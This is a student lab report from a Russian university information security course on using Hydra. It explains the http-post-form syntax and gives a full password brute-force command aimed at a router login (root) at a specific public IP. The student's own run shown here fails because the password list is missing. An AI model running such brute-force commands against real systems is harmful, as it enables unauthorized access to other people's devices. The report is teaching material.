

РОССИЙСКИЙ УНИВЕРСИТЕТ ДРУЖБЫ НАРОДОВ

Факультет физико-математических и естественных наук

Кафедра математического моделирования и искусственного интеллекта

## ОТЧЕТ ПО ПРОЕКТУ ЭТАП № 3

Дисциплина: Информационная безопасность

Студент: Дупленских Василий Викторович

Группа: НБИбд-01-21

Москва 2024

Задание:

Использование Hydra

Ход работы:

1. Пример работы: Исходные данные: IP сервера 178.72.90.181; Сервис http на стандартном 80 порту; Для авторизации используется html форма, которая отправляет по адресу `http://178.72.90.181/cgi-bin/luci` методом POST запрос вида `username=root&password=test_password`; В случае не удачной аутентификации пользователь наблюдает сообщение `Invalid username and/or password! Please try again`. Запрос к Hydra будет выглядеть примерно так:

`hydra -l root -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password=^PASS^:Invalid username"` Используется `http-post-form` потому, что авторизация происходит по `http` методом `post`. После указания этого модуля идёт строка `/cgi-bin/luci:username=^USER^&password=^PASS^:Invalid username`, у которой через двоеточие (🍷) указывается: путь до скрипта, который обрабатывает процесс аутентификации (`/cgi-bin/luci`); строка, которая передаётся методом `POST`, в которой логин и пароль заменены на `^USER^` и `^PASS^` соответственно (`username=^USER^&password=^PASS^`); строка, которая присутствует на странице при неудачной аутентификации; при её отсутствии Hydra поймёт, что мы успешно вошли (`Invalid username`).

2. Моя работа:

```
try: sudo apt install <deb name>

(vvduplenskikh@ vvduplenskikh)-[~]
$ hydra -l root -P ~/pass_lists/dedik_passes.txt -o ./hydra_result.log -f -V -s 80 178.72.90.181 http-post-form "/cgi-bin/luci:username=^USER^&password=^PASS^:Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-28 18:45:45
[ERROR] File for passwords not found: /home/vvduplenskikh/pass_lists/dedik_passes.txt

(vvduplenskikh@ vvduplenskikh)-[~]
$
```

## Выводы:

Я получил практические навыки по использованию приложения Hydra в Kali linux на виртуальной машине VirtualBox